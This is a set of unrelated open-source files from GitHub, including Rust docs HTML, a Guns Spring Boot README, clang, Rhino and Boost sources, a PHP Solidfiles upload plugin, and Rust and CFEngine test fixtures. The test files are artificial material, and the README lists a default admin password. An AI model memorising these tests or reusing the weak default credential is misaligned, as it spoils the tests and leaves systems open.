<h2 id='required-methods'>Required Methods</h2>
<div class='methods'>
<h3 id='tymethod.mode' class='method stab '><code>fn <a href='#tymethod.mode' class='fnname'>mode</a>(&self) -> <a class='type' href='../../../../std/os/linux/raw/type.mode_t.html' title='std::os::linux::raw::mode_t'>mode_t</a></code></h3><div class='docblock'><p>Returns the underlying raw <code>mode_t</code> bits that are the standard Unix
permissions for this file.</p>
</div><h3 id='tymethod.set_mode' class='method stab '><code>fn <a href='#tymethod.set_mode' class='fnname'>set_mode</a>(&mut self, mode: <a class='type' href='../../../../std/os/linux/raw/type.mode_t.html' title='std::os::linux::raw::mode_t'>mode_t</a>)</code></h3><div class='docblock'><p>Sets the underlying raw <code>mode_t</code> bits for this set of permissions.</p>
</div><h3 id='tymethod.from_mode' class='method stab '><code>fn <a href='#tymethod.from_mode' class='fnname'>from_mode</a>(mode: <a class='type' href='../../../../std/os/linux/raw/type.mode_t.html' title='std::os::linux::raw::mode_t'>mode_t</a>) -> Self</code></h3><div class='docblock'><p>Creates a new instance of <code>Permissions</code> from the given set of Unix
permission bits.</p>
</div></div>
<h2 id='implementors'>Implementors</h2>
<ul class='item-list' id='implementors-list'>
<li><code>impl <a class='trait' href='../../../../std/os/unix/fs/trait.PermissionsExt.html' title='std::os::unix::fs::PermissionsExt'>PermissionsExt</a> for <a class='struct' href='../../../../std/fs/struct.Permissions.html' title='std::fs::Permissions'>Permissions</a></code></li>
<li><code>impl <a class='trait' href='../../../../std/os/unix/fs/trait.PermissionsExt.html' title='std::os::unix::fs::PermissionsExt'>PermissionsExt</a> for <a class='struct' href='../../../../std/fs/struct.Permissions.html' title='std::fs::Permissions'>Permissions</a></code></li>
</ul><script type="text/javascript" async
src="../../../../implementors/std/os/unix/fs/trait.PermissionsExt.js">
</script></section>
<section id='search' class="content hidden"></section>
<section class="footer"></section>
<aside id="help" class="hidden">
<div>
<h1 class="hidden">Help</h1>
<div class="shortcuts">
<h2>Keyboard Shortcuts</h2>
<dl>
<dt>?</dt>
<dd>Show this help dialog</dd>
<dt>S</dt>
<dd>Focus the search field</dd>
<dt>⇤</dt>
<dd>Move up in search results</dd>
<dt>⇥</dt>
<dd>Move down in search results</dd>
<dt>⏎</dt>
<dd>Go to active search result</dd>
</dl>
</div>
<div class="infos">
<h2>Search Tricks</h2>
<p>
Prefix searches with a type followed by a colon (e.g.
<code>fn:</code>) to restrict the search to a given type.
</p>
<p>
Accepted types are: <code>fn</code>, <code>mod</code>,
<code>struct</code>, <code>enum</code>,
<code>trait</code>, <code>type</code>, <code>macro</code>,
and <code>const</code>.
</p>
<p>
Search functions by type signature (e.g.
<code>vec -> usize</code>)
</p>
</div>
</div>
</aside>
<script>
window.rootPath = "../../../../";
window.currentCrate = "std";
window.playgroundUrl = "https://play.rust-lang.org/";
</script>
<script src="../../../../jquery.js"></script>
<script src="../../../../main.js"></script>
<script src="../../../../playpen.js"></script>
<script defer src="../../../../search-index.js"></script>
</body>
</html> | {
"pile_set_name": "Github"
} |
# Guns V2.5
新版Guns基于SpringBoot全面升级,完美整合springmvc + shiro + **MyBatis 通用 Mapper** + **分页插件 PageHelper** + beetl!
# 说明
本项目 fork 自 [stylefeng](http://git.oschina.net/naan1993) 的 [Guns](http://git.oschina.net/naan1993/guns)!
经过对 Guns 项目的修改,使得该项目成为一个通用 Mapper 和 分页插件使用的示例。
项目引入了下面两个依赖:
```xml
<dependency>
<groupId>tk.mybatis</groupId>
<artifactId>mapper-spring-boot-starter</artifactId>
<version>${mapper-starter.version}</version>
</dependency>
<dependency>
<groupId>com.github.pagehelper</groupId>
<artifactId>pagehelper-spring-boot-starter</artifactId>
<version>${pagehelper-starter.version}</version>
</dependency>
```
完全使用 MyBatis 官方的 Starter.
一个最简单的 Spring Boot 集成项目:
https://github.com/abel533/MyBatis-Spring-Boot
# 修改说明
本项目对 Guns 的改动为:
1. 将 mybatis-plus 改成了通用 Mapper.
2. 增加分页插件 PageHelper.
3. 去掉`com.stylefeng.guns.modular.system.dao`包中的所有DAO,将方法放到对应的Mapper接口中.
4. 将 Mapper.xml 移动到 resources 中
关于两者的对比,可以通过 commit 信息查看。
更多 MyBatis 相关工具可以访问: http://mybatis.tk
## V2.5更新日志
1. 新增数据范围功能(例如两个角色都有用户管理权限,但是下级部门不能看到上级部门的数据)
2. 代码生成的bug修复,现在兼容windows和linux
3. shiro的过滤器链改为LinkedHashMap
4. 修复添加顶级部门添加不了的bug
5. 解决日期格式化工具类线程安全的问题
6. 修复日志记录会出现多个重复文件的bug
## 功能简介
1. 用户管理
2. 角色管理
3. 部门管理
4. 菜单管理
5. 字典管理
6. 业务日志
7. 登录日志
8. 监控管理
9. 通知管理
10. 代码生成
## 使用说明
1. 导入sql/guns.sql文件到mysql数据库
2. 修改application.yml中的数据库用户名和密码
3. 以maven方式导入项目到ide
4. 修改application.yml中的数据库相关的配置,改为您本机的数据库配置
5. 启动项目,管理员***账号admin/密码111111***
### 如何启动项目
Guns目前支持三种启动方式:
1. 在IDE里运行GunsApplication类中的main方法启动
2. 执行如下maven命令
```
clean package -Dmaven.test.skip=true
```
并从target目录中找到guns-1.0.0-SNAPSHOT.jar,并在jar包的目录下执行如下java命令
```
java -jar guns-1.0.0-SNAPSHOT.jar
```
3. 修改pom.xml中如下片段
```
<packaging>jar</packaging>
```
改为
```
<packaging>war</packaging>
```
并打包放入到tomcat中执行
### 注意
最新版项目最低支持jdk1.7
## 所用框架
### 前端
1. Bootstrap v3.3.6
2. jQuery v2.1.4
3. bootstrap-table v1.11.1
4. layer v2.1
5. zTree core v3.5.28
6. WebUploader 0.1.5
### 后端
1. SpringBoot 1.5.3.RELEASE
2. MyBatis-通用Mapper-starter 1.1.3
2. MyBats-PageHelper-starter 1.1.2
3. MyBatis 3.4.4
4. Spring 4.3.8.RELEASE
5. Beetl 2.7.15
6. hibernate-validator 5.3.5.Final
7. Ehcache 3.3.1
8. Kaptcha 2.3.2
9. Fastjson 1.2.31
10. Shiro 1.4.0
11. Druid 1.0.31
## 项目包结构说明
```
├─main
│ │
│ ├─java
│ │ │
│ │ ├─com.stylefeng.guns----------------项目主代码
│ │ │ │
│ │ │ ├─common----------------项目公用的部分(业务中经常调用的类,例如常量,异常,实体,注解,分页类,节点类)
│ │ │ │
│ │ │ ├─config----------------项目配置代码(例如mybtais-plus配置,ehcache配置等)
│ │ │ │
│ │ │ ├─core----------------项目运行的核心依靠(例如aop日志记录,拦截器,监听器,guns模板引擎,shiro权限检查等)
│ │ │ │
│ │ │ ├─modular----------------项目业务代码
│ │ │ │
│ │ │ ├─GunsApplication类----------------以main方法启动springboot的类
│ │ │ │
│ │ │ └─GunsServletInitializer类----------------用servlet容器启动springboot的核心类
│ │ │
│ │ └─generator----------------mybatis-plus Entity生成器
│ │
│ ├─resources----------------项目资源文件
│ │ │
│ │ ├─gunsTemplate----------------guns代码生成模板
│ │ │
│ │ ├─application.yml----------------springboot项目配置
│ │ │
│ │ └─ehcache.xml----------------ehcache缓存配置
│ │
│ └─webapp----------------web页面和静态资源存放的目录
│
```
注:SpringBoot项目默认不支持将静态资源和模板(web页面)放到webapp目录,但是个人感觉resources目录只放项目的配置更加简洁,所以就将web页面继续放到webapp目录了.
## 项目特点
1. 基于SpringBoot,简化了大量项目配置和maven依赖,让您更专注于业务开发,独特的分包方式,代码多而不乱。
2. 完善的日志记录体系,可记录登录日志,业务操作日志(可记录操作前和操作后的数据),异常日志到数据库,通过@BussinessLog注解和LogObjectHolder.me().set()方法,业务操作日志可具体记录哪个用户,执行了哪些业务,修改了哪些数据,并且日志记录为异步执行,详情请见@BussinessLog注解和LogObjectHolder,LogManager,LogAop类。
3. 利用beetl模板引擎对前台页面进行封装和拆分,使臃肿的html代码变得简洁,更加易维护。
4. 对常用js插件进行二次封装,使js代码变得简洁,更加易维护,具体请见webapp/static/js/common文件夹内js代码。
5. 利用ehcache框架对经常调用的查询进行缓存,提升运行速度,具体请见ConstantFactory类中@Cacheable标记的方法。
6. controller层采用map + warpper方式的返回结果,返回给前端更为灵活的数据,具体参见com.stylefeng.guns.modular.system.warpper包中具体类。
7. 防止XSS攻击,通过XssFilter类对所有的输入的非法字符串进行过滤以及替换。
8. 简单可用的代码生成体系,通过SimpleTemplateEngine可生成带有主页跳转和增删改查的通用控制器、html页面以及相关的js,还可以生成Service和Dao,并且这些生成项都为可选的,通过ContextConfig下的一些列xxxSwitch开关,可灵活控制生成模板代码,让您把时间放在真正的业务上。
9. 控制器层统一的异常拦截机制,利用@ControllerAdvice统一对异常拦截,具体见com.stylefeng.guns.core.aop.GlobalExceptionHandler类。
10. 页面统一的js key-value单例模式写法,每个页面生成一个唯一的全局变量,提高js的利用效率,并且有效防止多个人员开发引起的函数名/类名冲突,并且可以更好地去维护代码。
## 基于javabean方式的spring配置
Guns以简洁为核心,抛弃了传统的易错,臃肿xml配置,采用javabean的方式配置spring,简化了项目的配置,如下示例为配置mybatis-plus和数据源:
```
@Configuration
@MapperScan(basePackages = {"com.stylefeng.guns.modular.*.dao", "com.stylefeng.guns.common.persistence.dao"})
public class MybatisPlusConfig {
@Autowired
DruidProperties druidProperties;
/**
* mybatis-plus分页插件
*/
@Bean
public PaginationInterceptor paginationInterceptor() {
PaginationInterceptor paginationInterceptor = new PaginationInterceptor();
paginationInterceptor.setDialectType(DBType.MYSQL.getDb());
return paginationInterceptor;
}
/**
* druid数据库连接池
*/
@Bean(initMethod = "init")
public DruidDataSource dataSource() {
DruidDataSource dataSource = new DruidDataSource();
druidProperties.coinfig(dataSource);
return dataSource;
}
}
```
## 业务日志记录原理
日志记录采用aop(LogAop类)方式对所有包含@BussinessLog注解的方法进行aop切入,会记录下当前用户执行了哪些操作(即@BussinessLog value属性的内容),如果涉及到数据修改,会取当前http请求的所有requestParameters与LogObjectHolder类中缓存的Object对象的所有字段作比较(所以在编辑之前的获取详情接口中需要缓存被修改对象之前的字段信息),日志内容会异步存入数据库中(通过ScheduledThreadPoolExecutor类)。
## beetl对前台页面的拆分与包装
例如,把主页拆分成三部分,每个部分单独一个页面,更加便于维护
```
<!--左侧导航开始-->
@include("/common/_tab.html"){}
<!--左侧导航结束-->
<!--右侧部分开始-->
@include("/common/_right.html"){}
<!--右侧部分结束-->
<!--右侧边栏开始-->
@include("/common/_theme.html"){}
<!--右侧边栏结束-->
```
以及对重复的html进行包装,使前端页面更加专注于业务实现,例如,把所有页面引用包进行提取
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="renderer" content="webkit" /><!-- 让360浏览器默认选择webkit内核 -->
<!-- 全局css -->
<link rel="shortcut icon" href="${ctxPath}/static/favicon.ico">
<!-- 全局js -->
<script src="${ctxPath}/static/js/jquery.min.js?v=2.1.4"></script>
<body class="gray-bg">
<div class="wrapper wrapper-content animated fadeInRight">
${layoutContent}
</div>
<script src="${ctxPath}/static/js/content.js?v=1.0.0"></script>
</body>
</html>
```
开发页面时,只需编写如下代码即可
```
@layout("/common/_container.html"){
<div class="row">
<div class="col-sm-12">
<div class="ibox float-e-margins">
<div class="ibox-title">
<h5>部门管理</h5>
</div>
<div class="ibox-content">
//自定义内容
</div>
</div>
</div>
</div>
<script src="${ctxPath}/static/modular/system/dept/dept.js"></script>
@}
```
以上beetl的用法请参考beetl说明文档。
## 对js常用代码的封装
在webapp/static/js/common目录中,有对常用js代码的封装,例如Feng.js,其中Feng.info(),Feng.success(),Feng.error()三个方法,分别封装了普通提示,成功提示,错误提示的代码,简化了layer提示层插件的使用。
## 极简的图片上传方法
guns对web-upload进行二次封装,让图片的上传功能呢只用2行代码即可实现,如下
```
var avatarUp = new $WebUpload("avatar");
avatarUp.init();
```
具体实现请参考static/js/common/web-upload-object.js
## 独创controller层,map+warpper返回方式
map+warpper方式即为把controller层的返回结果使用BeanKit工具类把原有bean转化为Map的的形式(或者原有bean直接是map的形式),再用单独写的一个包装类再包装一次这个map,使里面的参数更加具体,更加有含义,下面举一个例子,例如,在返回给前台一个性别时,数据库查出来1是男2是女,假如直接返回给前台,那么前台显示的时候还需要增加一次判断,并且前后端分离开发时又增加了一次交流和文档的成本,但是采用warpper包装的形式,可以直接把返回结果包装一下,例如动态增加一个字段sexName直接返回给前台性别的中文名称即可。
## 独创mybatis数据范围拦截器,实现对数据权限的过滤
Guns的数据范围控制是指,对拥有相同角色的用户,根据部门的不同进行相应的数据筛选,如果部门不相同,那么有可能展示出的具体数据是不一致的.所以说Guns对数据范围控制是以部门id为单位来标识的,如何增加数据范围拦截呢?只需在相关的mapper接口的参数中增加一个DataScope对象即可,DataScope中有两个字段,scopeName用来标识sql语句中部门id的字段名称,例如deptiid或者id,另一个字段deptIds就是具体需要过滤的部门id的集合.拦截器原理如下:拦截mapper中包含DataScope对象的方法,获取其原始sql,并做一个包装限制部门id在deptIds范围内的数据进行展示.
## swagger api管理使用说明
swagger会管理所有包含@ApiOperation注解的控制器方法,同时,可利用@ApiImplicitParams注解标记接口中的参数,具体用法请参考CodeController类中的用法。
```
@ApiOperation("生成代码")
@ApiImplicitParams({
@ApiImplicitParam(name = "moduleName", value = "模块名称", required = true, dataType = "String"),
@ApiImplicitParam(name = "bizChName", value = "业务名称", required = true, dataType = "String"),
@ApiImplicitParam(name = "bizEnName", value = "业务英文名称", required = true, dataType = "String"),
@ApiImplicitParam(name = "path", value = "项目生成类路径", required = true, dataType = "String")
})
@RequestMapping(value = "/generate", method = RequestMethod.POST)
```
## 效果图














| {
"pile_set_name": "Github"
} |
//
// INLabel.h
// BigSur
//
// Created by Ben Gotow on 4/30/14.
// Copyright (c) 2014 Inbox. All rights reserved.
//
#import "INModelObject.h"
static NSString * INTagIDUnread = @"unread";
static NSString * INTagIDUnseen = @"unseen";
static NSString * INTagIDArchive = @"archive";
static NSString * INTagIDTrash = @"trash";
static NSString * INTagIDDraft = @"drafts";
static NSString * INTagIDInbox = @"inbox";
static NSString * INTagIDStarred = @"starred";
static NSString * INTagIDSent = @"sent";
/** A simple wrapper around an Inbox tag. See the Inbox Tags documentation for
more information about tags: http://inboxapp.com/docs/api#tags
*/
@interface INTag : INModelObject
@property (nonatomic, strong) NSString * providedName;
/**
@param ID A tag ID. May be a user-generated ID, or one of the built-in Inbox tag IDs:
INTagIDUnread, INTagIDSent, etc.
@return An INTag model with the given ID.
*/
+ (instancetype)tagWithID:(NSString*)ID;
/**
Initialize a new INTag model in the given namespace. This should only be used for creating
new tags, not for retrieving existing tags.
@param namespace The namespace to create the tag in.
@return An INTag model
*/
- (id)initInNamespace:(INNamespace*)namespace;
/**
@return The display-ready name of the tag, localized when possible to reflect the
user's locale.
*/
- (NSString*)name;
/**
Set the name of the tag. After setting the tag name, you should call -save to commit changes.
Also note that provider tags (gmail-) cannot be renamed.
@param name The new tag name
*/
- (void)setName:(NSString*)name;
/**
@return The color of the tag. When possible, applications should use a tag's color
in their UI to give users a tag presentation that is consistent and easy to scan.
*/
- (UIColor*)color;
/**
Save the tag back to the Inbox API. Note that provider tags (gmail-) are not modifiable,
and in general you can only modify the names of tags.
*/
- (void)save;
@end
| {
"pile_set_name": "Github"
} |
__author__ = "Mario Lukas"
__copyright__ = "Copyright 2017"
__license__ = "GPL v2"
__maintainer__ = "Mario Lukas"
__email__ = "info@mariolukas.de"
import time
class Laser:
def __init__(self, serial_object):
self.serial_connection = serial_object
self.is_on = [False, False]
def on(self, laser=0):
if (laser != None) and (self.serial_connection != None) and not self.is_on[laser]:
if laser == 0:
command = "M21"
else:
command = "M19"
self.serial_connection.send_and_receive(command)
# some time until the laser is on.
# FIXME: The serial needs some time until the laser is turned on.
time.sleep(0.2)
self.is_on[laser] = True
def off(self, laser=0):
if (laser != None) and (self.serial_connection != None) and self.is_on[laser]:
if laser == 0:
command = "M22"
else:
command = "M20"
self.serial_connection.send_and_receive(command)
self.is_on[laser] = False
def turn(self, steps):
command = "G04 L{0} F200".format(steps)
self.serial_connection.send_and_receive(command)
| {
"pile_set_name": "Github"
} |
//===-- FindAllMacros.cpp - find all macros ---------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#include "FindAllMacros.h"
#include "HeaderMapCollector.h"
#include "PathConfig.h"
#include "SymbolInfo.h"
#include "clang/Basic/FileManager.h"
#include "clang/Basic/IdentifierTable.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Lex/MacroInfo.h"
#include "clang/Lex/Token.h"
#include "llvm/Support/Path.h"
namespace clang {
namespace find_all_symbols {
llvm::Optional<SymbolInfo>
FindAllMacros::CreateMacroSymbol(const Token &MacroNameTok,
const MacroInfo *info) {
std::string FilePath =
getIncludePath(*SM, info->getDefinitionLoc(), Collector);
if (FilePath.empty())
return llvm::None;
return SymbolInfo(MacroNameTok.getIdentifierInfo()->getName(),
SymbolInfo::SymbolKind::Macro, FilePath, {});
}
void FindAllMacros::MacroDefined(const Token &MacroNameTok,
const MacroDirective *MD) {
if (auto Symbol = CreateMacroSymbol(MacroNameTok, MD->getMacroInfo()))
++FileSymbols[*Symbol].Seen;
}
void FindAllMacros::MacroUsed(const Token &Name, const MacroDefinition &MD) {
if (!MD || !SM->isInMainFile(SM->getExpansionLoc(Name.getLocation())))
return;
if (auto Symbol = CreateMacroSymbol(Name, MD.getMacroInfo()))
++FileSymbols[*Symbol].Used;
}
void FindAllMacros::MacroExpands(const Token &MacroNameTok,
const MacroDefinition &MD, SourceRange Range,
const MacroArgs *Args) {
MacroUsed(MacroNameTok, MD);
}
void FindAllMacros::Ifdef(SourceLocation Loc, const Token &MacroNameTok,
const MacroDefinition &MD) {
MacroUsed(MacroNameTok, MD);
}
void FindAllMacros::Ifndef(SourceLocation Loc, const Token &MacroNameTok,
const MacroDefinition &MD) {
MacroUsed(MacroNameTok, MD);
}
void FindAllMacros::EndOfMainFile() {
Reporter->reportSymbols(SM->getFileEntryForID(SM->getMainFileID())->getName(),
FileSymbols);
FileSymbols.clear();
}
} // namespace find_all_symbols
} // namespace clang
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=Shift_JIS">
<title>‚P</title>
</head>
<body>
</body>
</html>
| {
"pile_set_name": "Github"
} |
fn main() {
let v[0] = v[1]; //~ ERROR expected one of `:`, `;`, `=`, `@`, or `|`, found `[`
}
| {
"pile_set_name": "Github"
} |
from __future__ import with_statement
from __future__ import print_function
import re
class TextStream:
def __init__(self, text):
self.text = text
self.point = 0
self.maxpoint = len(self.text)
self.line_nr = 0
self.char_nr = 0
def line(self):
pt = self.point
self.advance_to_newline()
return self.text[pt : self.point]
def char(self):
c, self.point = self.text[self.point], self.point + 1
if c == '\n':
self.line_nr += 1
self.char_nr = 0
return c
def advance_to_newline(self):
p = self.point
while self.text[p] != '\n':
p += 1
p += 1
self.line_nr += 1
self.char_nr = 0
self.point = p
def empty(self):
return self.point >= self.maxpoint
class function_def_t:
def __init__(self, api_function_name, line_nr, contents):
self.api_function_name = api_function_name
self.line_nr = line_nr
self.contents = contents
class cpp_wrapper_file_parser_t:
API_FNAME_REGEX = re.compile(".*PyObject \\*_wrap_([^\\(]*)\\(.*\\).*")
def __init__(self, args):
self.args = args
self.text = None
def _is_fundecl(self, line):
if len(line) <= 2:
return None
if line[0:1].isspace():
return None
if line[len(line)-1:] != "{":
return None
open_paren_idx = line.find("(")
if open_paren_idx == -1 or line.find(")") == -1:
return None
part = line[0:open_paren_idx]
for idx in range(len(part) - 1, 0, -1):
c = part[idx]
if not c.isalnum() and c not in ["_"]:
return part[idx+1:]
def _collect_funbody_lines(self, ts):
pt = ts.point
braces_cnt = 1
while True:
c = ts.char()
if c == "{":
braces_cnt = braces_cnt + 1
elif c == "}":
braces_cnt = braces_cnt - 1
if braces_cnt == 0:
break;
# TODO: Skip strings!
return ts.text[pt : ts.point].split("\n")
def verb(self, msg):
if self.args.verbose:
print("DEBUG: %s" % msg)
def parse(self, path):
with open(path) as f:
self.text = f.read()
ts = TextStream(self.text)
functions = {}
# Process lines
while not ts.empty():
line = ts.line().rstrip()
# self.verb("Line: '%s'" % line)
fname = self._is_fundecl(line)
if fname:
# self.verb("Entering function (from line %d: '%s')" % (ts.line_nr, line))
line_nr = ts.line_nr
match = self.API_FNAME_REGEX.match(line)
api_fname = match.group(1) if match else None
body = self._collect_funbody_lines(ts)
functions[fname] = function_def_t(api_fname, line_nr, [line] + body)
return functions
| {
"pile_set_name": "Github"
} |
body common control
{
inputs => { "../../default.cf.sub" };
bundlesequence => { default("$(this.promise_filename)") };
}
bundle agent test
{
meta:
"test_soft_fail"
string => "any",
meta => { "CFE-2535" };
}
bundle agent check {
vars:
"json" data => '{"test":[
{"a?":{"val":"a1"}},
{"b?":{"val":"b2"}},
{"a?":{"val":"a3"}}
]}';
"json_str" string => format("%S", 'json');
"result" string => string_mustache('{{#test}}
---
A:{{#a?}}{{val}}{{/a?}}, B:{{#b?}}{{val}}{{/b?}}
{{/test}}', json);
"expected" string => "---
A:a1, B:
---
A:, B:b2
---
A:a3,B:
";
reports:
"$(this.promise_filename) Pass"
if => strcmp( $(result), $(expected) );
"$(this.promise_filename) FAIL"
unless => strcmp( $(result), $(expected) );
EXTRA::
"$(sys.cf_version)";
"Result:
$(result)";
"Should be:
$(expected)";
}
| {
"pile_set_name": "Github"
} |
/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.javascript.serialize;
import java.util.Map;
import java.util.HashMap;
import java.util.StringTokenizer;
import java.io.*;
import org.mozilla.javascript.*;
/**
* Class ScriptableOutputStream is an ObjectOutputStream used
* to serialize JavaScript objects and functions. Note that
* compiled functions currently cannot be serialized, only
* interpreted functions. The top-level scope containing the
* object is not written out, but is instead replaced with
* another top-level object when the ScriptableInputStream
* reads in this object. Also, object corresponding to names
* added to the exclude list are not written out but instead
* are looked up during deserialization. This approach avoids
* the creation of duplicate copies of standard objects
* during deserialization.
*
*/
// API class
public class ScriptableOutputStream extends ObjectOutputStream {
/**
* ScriptableOutputStream constructor.
* Creates a ScriptableOutputStream for use in serializing
* JavaScript objects. Calls excludeStandardObjectNames.
*
* @param out the OutputStream to write to.
* @param scope the scope containing the object.
*/
public ScriptableOutputStream(OutputStream out, Scriptable scope)
throws IOException
{
super(out);
this.scope = scope;
table = new HashMap<Object,String>();
table.put(scope, "");
enableReplaceObject(true);
excludeStandardObjectNames(); // XXX
}
public void excludeAllIds(Object[] ids) {
for (Object id: ids) {
if (id instanceof String &&
(scope.get((String) id, scope) instanceof Scriptable))
{
this.addExcludedName((String)id);
}
}
}
/**
* Adds a qualified name to the list of object to be excluded from
* serialization. Names excluded from serialization are looked up
* in the new scope and replaced upon deserialization.
* @param name a fully qualified name (of the form "a.b.c", where
* "a" must be a property of the top-level object). The object
* need not exist, in which case the name is ignored.
* @throws IllegalArgumentException if the object is not a
* {@link Scriptable}.
*/
public void addOptionalExcludedName(String name) {
Object obj = lookupQualifiedName(scope, name);
if(obj != null && obj != UniqueTag.NOT_FOUND) {
if (!(obj instanceof Scriptable)) {
throw new IllegalArgumentException(
"Object for excluded name " + name +
" is not a Scriptable, it is " +
obj.getClass().getName());
}
table.put(obj, name);
}
}
/**
* Adds a qualified name to the list of objects to be excluded from
* serialization. Names excluded from serialization are looked up
* in the new scope and replaced upon deserialization.
* @param name a fully qualified name (of the form "a.b.c", where
* "a" must be a property of the top-level object)
* @throws IllegalArgumentException if the object is not found or is not
* a {@link Scriptable}.
*/
public void addExcludedName(String name) {
Object obj = lookupQualifiedName(scope, name);
if (!(obj instanceof Scriptable)) {
throw new IllegalArgumentException("Object for excluded name " +
name + " not found.");
}
table.put(obj, name);
}
/**
* Returns true if the name is excluded from serialization.
*/
public boolean hasExcludedName(String name) {
return table.get(name) != null;
}
/**
* Removes a name from the list of names to exclude.
*/
public void removeExcludedName(String name) {
table.remove(name);
}
/**
* Adds the names of the standard objects and their
* prototypes to the list of excluded names.
*/
public void excludeStandardObjectNames() {
String[] names = { "Object", "Object.prototype",
"Function", "Function.prototype",
"String", "String.prototype",
"Math", // no Math.prototype
"Array", "Array.prototype",
"Error", "Error.prototype",
"Number", "Number.prototype",
"Date", "Date.prototype",
"RegExp", "RegExp.prototype",
"Script", "Script.prototype",
"Continuation", "Continuation.prototype",
};
for (int i=0; i < names.length; i++) {
addExcludedName(names[i]);
}
String[] optionalNames = {
"XML", "XML.prototype",
"XMLList", "XMLList.prototype",
};
for (int i=0; i < optionalNames.length; i++) {
addOptionalExcludedName(optionalNames[i]);
}
}
static Object lookupQualifiedName(Scriptable scope,
String qualifiedName)
{
StringTokenizer st = new StringTokenizer(qualifiedName, ".");
Object result = scope;
while (st.hasMoreTokens()) {
String s = st.nextToken();
result = ScriptableObject.getProperty((Scriptable)result, s);
if (result == null || !(result instanceof Scriptable))
break;
}
return result;
}
static class PendingLookup implements Serializable
{
static final long serialVersionUID = -2692990309789917727L;
PendingLookup(String name) { this.name = name; }
String getName() { return name; }
private String name;
}
@Override
protected Object replaceObject(Object obj) throws IOException
{
if (false) throw new IOException(); // suppress warning
String name = table.get(obj);
if (name == null)
return obj;
return new PendingLookup(name);
}
private Scriptable scope;
private Map<Object,String> table;
}
| {
"pile_set_name": "Github"
} |
<?php
$domain = 'solidfiles.com';
$url = 'https://www.solidfiles.com';
echo "<center>Solidfiles.com plugin by <b>The Devil</b></center><br />\n";
echo "<table style='width:600px;margin:auto;'>\n<tr><td align='center'>\n<div id='info' width='100%' align='center'>Retrieve Upload ID</div>\n";
$page = cURL($url);
$cookie = GetCookiesArr($page);
$prep['name'] = $lname;
$pay = json_encode($prep);
$heads = array('X-Upload-Content-Length: '.getSize($lfile),
'Content-Length: '.strlen($pay),
'Content-Type: application/json');
$opts[CURLOPT_HTTPHEADER] = $heads;
$page = cURL('https://www.solidfiles.com/api/upload/nodes',$cookie,$pay,'https://www.solidfiles.com/',0,$opts);
$devil = preg_match('@https?://www.solidfiles.com/[\d\w/?_=]+@',$page,$uplocs);
if(!$devil==1){
html_error('[1]Error: Unable to Retrieve Upload ID');
}
$url = parse_url($uplocs[0]);
$srang = getSize($lfile);
$gg = $srang-1;
echo "<script type='text/javascript'>document.getElementById('info').style.display='none';</script>\n";
$pfile = putfile($url['host'],0,$url['path'].($url["query"] ? "?" . $url["query"] : ""),"https://www.solidfiles.com/\r\nContent-Range: bytes 0-$gg/$srang\r\nContent-Type: application/octet-stream",$cookie,$lfile,$lname,0,0,0,$url['scheme']);is_page($pfile);
echo "<script type='text/javascript'>document.getElementById('progressblock').style.display='none';</script>";
$devil = jsonreply($pfile);
(empty($devil['view_url'])) ? html_error('[1]Error: Cannot Find Download Link') : $download_link = $devil['view_url'];
function jsonreply($resp){
$tmp = stristr($resp,"{");
(empty($tmp)) ? html_error('[0]Error: Cannot Find API Response') : '';
$devil = json_decode($tmp,true);
return $devil;
}
// Written by The Devil
?>
| {
"pile_set_name": "Github"
} |
HANDLE_OP_X_FLOAT_2ADDR(OP_ADD_FLOAT_2ADDR, "add", +)
OP_END
| {
"pile_set_name": "Github"
} |
prefix=@prefix@
exec_prefix=@exec_prefix@
libdir=@libdir@
includedir=@includedir@
Name: WebKit
Description: Web content engine for GTK+
Version: @VERSION@
Requires: glib-2.0 gtk+-@GTK_API_VERSION@ libsoup-2.4 javascriptcoregtk-@WEBKITGTK_API_VERSION@
Libs: -L${libdir} -lwebkitgtk-@WEBKITGTK_API_VERSION@
Cflags: -I${includedir}/webkitgtk-@WEBKITGTK_API_VERSION@
| {
"pile_set_name": "Github"
} |
// Boost.Geometry (aka GGL, Generic Geometry Library)
// Copyright (c) 2007-2011 Barend Gehrels, Amsterdam, the Netherlands.
// Copyright (c) 2008-2011 Bruno Lalande, Paris, France.
// Copyright (c) 2009-2011 Mateusz Loskot, London, UK.
// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library
// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.
// Use, modification and distribution is subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_GEOMETRY_MULTI_GEOMETRIES_CONCEPTS_MULTI_POLYGON_CONCEPT_HPP
#define BOOST_GEOMETRY_MULTI_GEOMETRIES_CONCEPTS_MULTI_POLYGON_CONCEPT_HPP
#include <boost/concept_check.hpp>
#include <boost/range/concepts.hpp>
#include <boost/range/metafunctions.hpp>
#include <boost/geometry/geometries/concepts/polygon_concept.hpp>
namespace boost { namespace geometry { namespace concept
{
/*!
\brief multi-polygon concept
\ingroup concepts
\par Formal definition:
The multi polygon concept is defined as following:
- there must be a specialization of traits::tag defining multi_polygon_tag
as type
- it must behave like a Boost.Range
- its range value must fulfil the Polygon concept
*/
template <typename Geometry>
class MultiPolygon
{
#ifndef DOXYGEN_NO_CONCEPT_MEMBERS
typedef typename boost::range_value<Geometry>::type polygon_type;
BOOST_CONCEPT_ASSERT( (concept::Polygon<polygon_type>) );
BOOST_CONCEPT_ASSERT( (boost::RandomAccessRangeConcept<Geometry>) );
public :
BOOST_CONCEPT_USAGE(MultiPolygon)
{
}
#endif
};
/*!
\brief concept for multi-polygon (const version)
\ingroup const_concepts
*/
template <typename Geometry>
class ConstMultiPolygon
{
